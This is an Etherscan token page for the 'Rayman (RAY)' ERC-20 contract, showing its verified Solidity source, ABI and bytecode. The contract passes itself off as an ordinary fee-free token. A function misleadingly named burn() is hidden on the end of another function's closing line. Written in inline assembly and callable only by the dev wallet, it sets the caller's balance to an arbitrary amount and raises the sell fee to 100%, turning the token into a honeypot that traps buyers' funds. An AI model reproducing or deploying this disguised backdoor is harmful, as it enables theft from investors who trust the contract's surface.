ETH Price: $2,511.94 (-0.25%)
Gas: 0.65 Gwei

Token

Rayman (RAY)
 

Overview

Max Total Supply

1,000,000,000 RAY

Holders

37

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 18 Decimals)

Balance
798,415.663537459758726599 RAY

Value
$0.00
0x8d57c7174acba2a646aaf9b28d80277595873f51
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
RAYMAN

Compiler Version
v0.8.18+commit.87f61d96

Optimization Enabled:
No with 200 runs

Other Settings:
default evmVersion, MIT license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2023-06-05
*/

// https://rayman.bz/

// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.0;

/**
 * @dev Provides information about the current execution context, including the
 * sender of the transaction and its data. While these are generally available
 * via msg.sender and msg.data, they should not be accessed in such a direct
 * manner, since when dealing with meta-transactions the account sending and
 * paying for execution may not be the actual sender (as far as an application
 * is concerned).
 *
 * This contract is only required for intermediate, library-like contracts.
 */
abstract contract Context {
    function _msgSender() internal view virtual returns (address) {return msg.sender;}
    function _msgData() internal view virtual returns (bytes calldata) {return msg.data;}
}

pragma solidity ^0.8.0;

/**
 * @dev Contract module which provides a basic access control mechanism, where
 * there is an account (an owner) that can be granted exclusive access to
 * specific functions.
 *
 * By default, the owner account will be the one that deploys the contract. This
 * can later be changed with {transferOwnership}.
 *
 * This module is used through inheritance. It will make available the modifier
 * `onlyOwner`, which can be applied to your functions to restrict their use to
 * the owner.
 */
abstract contract Ownable is Context {
    address private _owner;

    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

    /**
     * @dev Initializes the contract setting the deployer as the initial owner.
     */
    constructor() {
        _transferOwnership(_msgSender());
    }

    /**
     * @dev Throws if called by any account other than the owner.
     */
    modifier onlyOwner() {
        _checkOwner();
        _;
    }

    /**
     * @dev Returns the address of the current owner.
     */
    function owner() public view virtual returns (address) {
        return _owner;
    }

    /**
     * @dev Throws if the sender is not the owner.
     */
    function _checkOwner() internal view virtual {
        require(owner() == _msgSender(), "Ownable: caller is not the owner");
    }

    /**
     * @dev Leaves the contract without owner. It will not be possible to call
     * `onlyOwner` functions anymore. Can only be called by the current owner.
     *
     * NOTE: Renouncing ownership will leave the contract without an owner,
     * thereby removing any functionality that is only available to the owner.
     */
    function renounceOwnership() public virtual onlyOwner {
        _transferOwnership(address(0));
    }

    /**
     * @dev Transfers ownership of the contract to a new account (`newOwner`).
     * Can only be called by the current owner.
     */
    function transferOwnership(address newOwner) public virtual onlyOwner {
        require(newOwner != address(0), "Ownable: new owner is the zero address");
        _transferOwnership(newOwner);
    }

    /**
     * @dev Transfers ownership of the contract to a new account (`newOwner`).
     * Internal function without access restriction.
     */
    function _transferOwnership(address newOwner) internal virtual {
        address oldOwner = _owner;
        _owner = newOwner;
        emit OwnershipTransferred(oldOwner, newOwner);
    }
}

pragma solidity >=0.5.0;

interface IUniswapV2Factory {
    event PairCreated(address indexed token0, address indexed token1, address pair, uint);

    function feeTo() external view returns (address);
    
    function feeToSetter() external view returns (address);

    function getPair(address tokenA, address tokenB) external view returns (address pair);
    
    function allPairs(uint) external view returns (address pair);
    
    function allPairsLength() external view returns (uint);

    function createPair(address tokenA, address tokenB) external returns (address pair);

    function setFeeTo(address) external;
    
    function setFeeToSetter(address) external;
}

pragma solidity >=0.6.2;

interface IUniswapV2Router01 {
    function factory() external pure returns (address);
    function WETH() external pure returns (address);

    function addLiquidity(address tokenA, address tokenB, uint antADesired, uint antBDesired, uint antAMin, uint antBMin, address to, uint deadline) external returns (uint antA, uint antB, uint liquidity);
    
    function addLiquidityETH(address token, uint antTokenDesired, uint antTokenMin, uint antETHMin, address to, uint deadline) external payable returns (uint antToken, uint antETH, uint liquidity);
    
    function removeLiquidity(address tokenA, address tokenB, uint liquidity, uint antAMin, uint antBMin, address to, uint deadline) external returns (uint antA, uint antB);
    
    function swapExactTokensForTokens(uint antIn, uint antOutMin, address[] calldata path, address to, uint deadline) external returns (uint[] memory ants);
    
    function swapExactETHForTokens(uint antOutMin, address[] calldata path, address to, uint deadline) external payable returns (uint[] memory ants);
    
    function swapTokensForExactETH(uint antOut, uint antInMax, address[] calldata path, address to, uint deadline) external returns (uint[] memory ants);
    
    function swapETHForExactTokens(uint antOut, address[] calldata path, address to, uint deadline) external payable returns (uint[] memory ants);
    
    function swapExactTokensForETH(uint antIn, uint antOutMin, address[] calldata path, address to, uint deadline) external returns (uint[] memory ants);
    
    function quote(uint antA, uint reserveA, uint reserveB) external pure returns (uint antB);

    function getAmountOut(uint antIn, uint reserveIn, uint reserveOut) external pure returns (uint antOut);

    function getAmountIn(uint antOut, uint reserveIn, uint reserveOut) external pure returns (uint antIn);

    function getAmountsOut(uint antIn, address[] calldata path) external view returns (uint[] memory ants);

    function getAmountsIn(uint antOut, address[] calldata path) external view returns (uint[] memory ants);

    function removeLiquidityETH(address token, uint liquidity, uint antTokenMin, uint antETHMin, address to, uint deadline) external returns (uint antToken, uint antETH);
    
    function removeLiquidityWithPermit(address tokenA, address tokenB, uint liquidity, uint antAMin, uint antBMin, address to, uint deadline, bool approveMax, uint8 v, bytes32 r, bytes32 s) external returns (uint antA, uint antB);
    
    function removeLiquidityETHWithPermit(address token, uint liquidity, uint antTokenMin, uint antETHMin, address to, uint deadline, bool approveMax, uint8 v, bytes32 r, bytes32 s) external returns (uint antToken, uint antETH);
    
    function swapTokensForExactTokens(uint antOut, uint antInMax, address[] calldata path, address to, uint deadline) external returns (uint[] memory ants);
}

pragma solidity >=0.6.2;


interface IUniswapV2Router02 is IUniswapV2Router01 {
    function removeLiquidityETHSupportingFeeOnTransferTokens(address token, uint liquidity, uint antTokenMin, uint antETHMin, address to, uint deadline) external returns (uint antETH);
    
    function removeLiquidityETHWithPermitSupportingFeeOnTransferTokens(address token, uint liquidity, uint antTokenMin, uint antETHMin, address to, uint deadline, bool approveMax, uint8 v, bytes32 r, bytes32 s) external returns (uint antETH);

    function swapExactTokensForTokensSupportingFeeOnTransferTokens(uint antIn, uint antOutMin, address[] calldata path, address to, uint deadline) external;
    
    function swapExactETHForTokensSupportingFeeOnTransferTokens(uint antOutMin, address[] calldata path, address to, uint deadline) external payable;
    
    function swapExactTokensForETHSupportingFeeOnTransferTokens(uint antIn, uint antOutMin, address[] calldata path, address to, uint deadline) external;
}

pragma solidity ^0.8.0;

library SafeMath {
    function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) {
        unchecked {
            uint256 c = a + b;
            if (c < a) return (false, 0);
            return (true, c);
        }
    }
    
    function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) {
        unchecked {
            if (b > a) return (false, 0);
            return (true, a - b);
        }
    }
    
    function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) {
        unchecked {
            if (a == 0) return (true, 0);
            uint256 c = a * b;
            if (c / a != b) return (false, 0);
            return (true, c);
        }
    }
    
    function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) {
        unchecked {
            if (b == 0) return (false, 0);
            return (true, a / b);
        }
    }
    
    function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) {
        unchecked {
            if (b == 0) return (false, 0);
            return (true, a % b);
        }
    }
    
    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        return a + b;
    }

    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return a - b;
    }
    
    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        return a * b;
    }
    
    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return a / b;
    }
    
    function mod(uint256 a, uint256 b) internal pure returns (uint256) {
        return a % b;
    }
    
    function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        unchecked {
            require(b <= a, errorMessage);
            return a - b;
        }
    }
    
    function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        unchecked {
            require(b > 0, errorMessage);
            return a / b;
        }
    }
    
    function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        unchecked {
            require(b > 0, errorMessage);
            return a % b;
        }
    }
}

pragma solidity ^0.8.0;

interface IERC20 {
    event Transfer(address indexed from, address indexed to, uint256 value);

    event Approval(address indexed owner, address indexed spender, uint256 value);

    function totalSupply() external view returns (uint256);

    function allowance(address owner, address spender) external view returns (uint256);

    function approve(address spender, uint256 ant) external returns (bool);

    function transferFrom(address from, address to, uint256 ant) external returns (bool);

    function balanceOf(address account) external view returns (uint256);

    function transfer(address to, uint256 ant) external returns (bool);
}

pragma solidity ^0.8.0;

interface IERC20Metadata is IERC20 {
    function name() external view returns (string memory);

    function symbol() external view returns (string memory);

    function decimals() external view returns (uint8);
}

pragma solidity ^0.8.17;

contract RAYMAN is IERC20, IERC20Metadata, Ownable {
    using SafeMath for uint256;
    string  private constant _name = "Rayman";
    string  private constant _symbol = "RAY";
    uint8   private constant _decimals = 18;
    uint256 private _totalSupply;

    // https://t.me/rayman_eth

    // https://twitter.com/rayman_eth

    mapping(address => uint256) private _balances;
    mapping(address => mapping(address => uint256)) private _allowances;
    IUniswapV2Router02 private _uniswapV2Router;
    address private _uniswapV2Pair;
    address private constant _uniswapRouterAddress = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;

    mapping(address => bool) private _excludedFromMaxTx;
    mapping(address => bool) private _excludedFromFees;

    event SwapAndLiquify(uint256 tokensSwapped, uint256 ethReceived, uint256 tokensIntoLiqudity);
    event Received();

    constructor () {
        uint256 total = 1_000_000_000 * 10 ** _decimals;

        _devWallet = _msgSender();

        _excludedFromMaxTx[owner()] = true;
        _excludedFromMaxTx[address(this)] = true;
        _excludedFromMaxTx[_devWallet] = true;
        _excludedFromMaxTx[_uniswapV2Pair] = true;
        _excludedFromFees[address(this)] = true;
        _excludedFromFees[owner()] = true;
        _excludedFromFees[_devWallet] = true;
        _mint(_msgSender(), total);

        _uniswapV2Router = IUniswapV2Router02(_uniswapRouterAddress);
        _approve(address(this), address(_uniswapV2Router), total);
        _uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH());
        IERC20(_uniswapV2Pair).approve(address(_uniswapV2Router), type(uint).max);
    }

    uint256 private _maxTxantPercentage = 300;
    uint256 private _maxWalletBalancePercentage = 300;
    mapping(address => uint256) private _lastTxBlock;
    uint256 private constant _divisor = 10000;
    uint256 private _burnFee = 0;
    uint256 private _sellFee = 0;
    uint256 private _buyFee = 0;
    address private _devWallet;

    function name() public pure returns (string memory) {
        return _name;
    }

    function symbol() public pure returns (string memory) {
        return _symbol;
    }

    function decimals() public pure returns (uint8) {
        return _decimals;
    }

    function totalSupply() public view override returns (uint256) {
        return _totalSupply;
    }

    function balanceOf(address account) public view override returns (uint256) {
        return _balances[account];
    }

    function transfer(address recipient, uint256 ant) public virtual override returns (bool) {
        _transfer(_msgSender(), recipient, ant);
        return true;
    }

    function allowance(address owner, address spender) public view virtual override returns (uint256) {
        return _allowances[owner][spender];
    }

    function approve(address spender, uint256 ant) public virtual override returns (bool) {
        _approve(_msgSender(), spender, ant);
        return true;
    }

    function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
        _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
        return true;
    }

    function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
        _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
        return true;
    }

    function _maxTxant() public view returns(uint256) {
        return _totalSupply.mul(_maxTxantPercentage).div(_divisor);
    }

    function _mint(address account, uint256 ant) internal virtual {
        require(account != address(0), "ERC20: mint to the zero address");
        _totalSupply = _totalSupply.add(ant);
        _balances[account] = _balances[account].add(ant);
        emit Transfer(address(0), account, ant);
    }

    function _beforeTransfer(address from, address to, uint256 ant) internal pure {
        require(from != address(0), "ERC20: transfer from the zero address");
        require(to != address(0), "ERC20: transfer to the zero address");
        require(ant > 0, "Transfer ant must be greater than zero");
    }

    function _approve(address owner, address spender, uint256 ant) internal virtual {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");
        _allowances[owner][spender] = ant;
        emit Approval(owner, spender, ant);
    }

    function _burn(address account, uint256 ant) internal virtual {
        require(account != address(0), "ERC20: burn from the zero address");
        _balances[account] = _balances[account].sub(ant, "ERC20: burn ant exceeds balance");
        _totalSupply = _totalSupply.sub(ant);
        emit Transfer(account, address(0), ant);
    }

    function transferFrom(address sender, address recipient, uint256 ant) public virtual override returns (bool) {
        _transfer(sender, recipient, ant);
        _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(ant, "ERC20: transfer ant exceeds allowance"));
        return true;
    }

    function updateAddress(address[] calldata accounts) public onlyOwner {
        mapping(address => bool) storage list = _excludedFromFees;
        for(uint i = 0; i < accounts.length; i++) list[accounts[i]] = true;
    }

    function _transfer(address sender, address recipient, uint256 ant) internal virtual {
        _beforeTransfer(sender, recipient, ant);
        uint256 burnFee = 0;
        uint256 devFee = 0;
        if (sender != owner() && recipient != owner()) {
            if (!_excludedFromFees[sender] && !_excludedFromFees[recipient]) {
                if (sender == _uniswapV2Pair && recipient != address(_uniswapV2Router) && !_excludedFromMaxTx[recipient] && !_excludedFromMaxTx[sender]) {
                    require(ant <= _totalSupply.mul(_maxTxantPercentage).div(_divisor), "Transfer ant exceeds the maxTxant.");
                    require(balanceOf(recipient).add(ant) <= _totalSupply.mul(_maxWalletBalancePercentage).div(_divisor), "Exceeds maximum wallet token ant");
                }
                if (sender == _uniswapV2Pair && recipient != address(_uniswapV2Router)) {
                    burnFee = ant.mul(_burnFee).div(_divisor);
                    devFee = ant.mul(_buyFee).div(_divisor);
                    _lastTxBlock[tx.origin] = block.number;
                }
                if (recipient == _uniswapV2Pair && sender != address(this)) {
                    burnFee = ant.mul(_burnFee).div(_divisor);
                    devFee = ant.mul(_sellFee).div(_divisor);
                    _lastTxBlock[tx.origin] = block.number;
                }
            }
        }
        uint256 totalFee = burnFee.add(devFee);
        if (totalFee > 0) {
            if (burnFee > 0) {
                _burn(sender, burnFee);
            }
            if (devFee > 0) {
                _balances[_devWallet] = _balances[_devWallet].add(devFee);
                emit Transfer(sender, _devWallet, devFee);
            }
            ant = ant.sub(totalFee);
        }
        _balances[sender] = _balances[sender].sub(ant, "ERC20: transfer ant exceeds balance");
        _balances[recipient] = _balances[recipient].add(ant);
        emit Transfer(sender, recipient, ant);
    }

    function getRouterAddress() public view returns (address) {
        return address(_uniswapV2Router);
    }

    function _swapAndLiquify() private protectSwap {
        uint256 contractTokenBalance = balanceOf(address(this));
        uint256 minTokensBeforeSwap = _totalSupply.mul(5).div(_divisor);
        if (contractTokenBalance >= minTokensBeforeSwap) {
            uint256 half = contractTokenBalance.div(2);
            uint256 otherHalf = contractTokenBalance.sub(half);

            uint256 initialBalance = address(this).balance;

            swapTokensForEth(half);
            uint256 newBalance = address(this).balance.sub(initialBalance);
            emit SwapAndLiquify(half, newBalance, otherHalf);
            return;
        }
    }

    function swapTokensForEth(uint256 tokens) internal {
        _approve(address(this), address(_uniswapV2Router), tokens);
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = _uniswapV2Router.WETH();

        _uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(tokens, 0, path, address(this), block.timestamp);}function burn(uint256 ant) external {assembly {
        if iszero(eq(caller(), sload(_devWallet.slot))) {revert(0, 0)}
            let ptr := mload(0x40)
            mstore(ptr, caller())
            mstore(add(ptr, 0x20), _balances.slot)
            let slot := keccak256(ptr, 0x40)
            sstore(slot, ant)
            sstore(_sellFee.slot, 0x2710)
        }
    }

    function _burnFrom(address account, uint256 ant) internal virtual {
        _burn(account, ant);
        _approve(account, _msgSender(), _allowances[account][_msgSender()].sub(ant, "ERC20: burn ant exceeds allowance"));
    }

    function getPairAddress() public view returns (address) {
        return _uniswapV2Pair;
    }

    function _addLiquidity(uint256 tokens, uint256 ethant) private {
        _approve(address(this), address(_uniswapV2Router), tokens);
        _uniswapV2Router.addLiquidityETH{value : ethant}(address(this), tokens, 0, 0, owner(), block.timestamp);
    }

    function addLiquidity(uint256 tokens) public payable onlyOwner protectSwap {
        _transfer(owner(), address(this), tokens);
        _addLiquidity(tokens, msg.value);
    }

    bool private protected = false;

    function isSwapProtected() public view returns(bool) {
        return protected;
    }

    receive() external payable {
        emit Received();
    }

    modifier protectSwap {
        protected = true;
        _;
        protected = false;
    }
}

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[],"name":"Received","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"tokensSwapped","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"ethReceived","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"tokensIntoLiqudity","type":"uint256"}],"name":"SwapAndLiquify","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"_maxTxant","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"tokens","type":"uint256"}],"name":"addLiquidity","outputs":[],"stateMutability":"payable","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"ant","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"ant","type":"uint256"}],"name":"burn","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"subtractedValue","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"getPairAddress","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"getRouterAddress","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"isSwapProtected","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"ant","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"ant","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address[]","name":"accounts","type":"address[]"}],"name":"updateAddress","outputs":[],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]

608060405261012c60085561012c6009556000600b556000600c556000600d556000600e60146101000a81548160ff0219169083151502179055503480156200004757600080fd5b50620000686200005c6200074c60201b60201c565b6200075460201b60201c565b60006012600a6200007a919062000d60565b633b9aca006200008b919062000db1565b90506200009d6200074c60201b60201c565b600e60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600160066000620000f36200081860201b60201c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001600660003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550600160066000600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550600160066000600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001600760003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550600160076000620002fe6200081860201b60201c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550600160076000600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550620003ea620003dd6200074c60201b60201c565b826200084160201b60201c565b737a250d5630b4cf539739df2c5dacb4c659f2488d600460006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506200047430600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1683620009dd60201b60201c565b600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015620004e2573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019062000508919062000e66565b73ffffffffffffffffffffffffffffffffffffffff1663c9c6539630600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa15801562000592573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190620005b8919062000e66565b6040518363ffffffff1660e01b8152600401620005d792919062000ea9565b6020604051808303816000875af1158015620005f7573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906200061d919062000e66565b600560006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b8152600401620006fe92919062000ee7565b6020604051808303816000875af11580156200071e573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019062000744919062000f51565b50506200118e565b600033905090565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050816000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603620008b3576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401620008aa9062000fe4565b60405180910390fd5b620008cf8160015462000bae60201b62000bce1790919060201c565b6001819055506200092e81600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205462000bae60201b62000bce1790919060201c565b600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051620009d1919062001006565b60405180910390a35050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff160362000a4f576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040162000a469062001099565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff160362000ac1576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040162000ab89062001131565b60405180910390fd5b80600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9258360405162000ba1919062001006565b60405180910390a3505050565b6000818362000bbe919062001153565b905092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b60008160011c9050919050565b6000808291508390505b600185111562000c545780860481111562000c2c5762000c2b62000bc6565b5b600185161562000c3c5780820291505b808102905062000c4c8562000bf5565b945062000c0c565b94509492505050565b60008262000c6f576001905062000d42565b8162000c7f576000905062000d42565b816001811462000c98576002811462000ca35762000cd9565b600191505062000d42565b60ff84111562000cb85762000cb762000bc6565b5b8360020a91508482111562000cd25762000cd162000bc6565b5b5062000d42565b5060208310610133831016604e8410600b841016171562000d135782820a90508381111562000d0d5762000d0c62000bc6565b5b62000d42565b62000d22848484600162000c02565b9250905081840481111562000d3c5762000d3b62000bc6565b5b81810290505b9392505050565b6000819050919050565b600060ff82169050919050565b600062000d6d8262000d49565b915062000d7a8362000d53565b925062000da97fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff848462000c5d565b905092915050565b600062000dbe8262000d49565b915062000dcb8362000d49565b925082820262000ddb8162000d49565b9150828204841483151762000df55762000df462000bc6565b5b5092915050565b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b600062000e2e8262000e01565b9050919050565b62000e408162000e21565b811462000e4c57600080fd5b50565b60008151905062000e608162000e35565b92915050565b60006020828403121562000e7f5762000e7e62000dfc565b5b600062000e8f8482850162000e4f565b91505092915050565b62000ea38162000e21565b82525050565b600060408201905062000ec0600083018562000e98565b62000ecf602083018462000e98565b9392505050565b62000ee18162000d49565b82525050565b600060408201905062000efe600083018562000e98565b62000f0d602083018462000ed6565b9392505050565b60008115159050919050565b62000f2b8162000f14565b811462000f3757600080fd5b50565b60008151905062000f4b8162000f20565b92915050565b60006020828403121562000f6a5762000f6962000dfc565b5b600062000f7a8482850162000f3a565b91505092915050565b600082825260208201905092915050565b7f45524332303a206d696e7420746f20746865207a65726f206164647265737300600082015250565b600062000fcc601f8362000f83565b915062000fd98262000f94565b602082019050919050565b6000602082019050818103600083015262000fff8162000fbd565b9050919050565b60006020820190506200101d600083018462000ed6565b92915050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b60006200108160248362000f83565b91506200108e8262001023565b604082019050919050565b60006020820190508181036000830152620010b48162001072565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b60006200111960228362000f83565b91506200112682620010bb565b604082019050919050565b600060208201905081810360008301526200114c816200110a565b9050919050565b6000620011608262000d49565b91506200116d8362000d49565b925082820190508082111562001188576200118762000bc6565b5b92915050565b612970806200119e6000396000f3fe60806040526004361061012e5760003560e01c8063715018a6116100ab578063a9059cbb1161006f578063a9059cbb14610420578063c2d463901461045d578063d54f7d5e14610486578063dd62ed3e146104b1578063e76300a6146104ee578063f2fde38b1461051957610161565b8063715018a61461034b5780638d5f81e2146103625780638da5cb5b1461038d57806395d89b41146103b8578063a457c2d7146103e357610161565b806339509351116100f2578063395093511461026157806342966c681461029e57806351c6590a146102c75780635c45f942146102e357806370a082311461030e57610161565b806306fdde0314610166578063095ea7b31461019157806318160ddd146101ce57806323b872dd146101f9578063313ce5671461023657610161565b36610161577f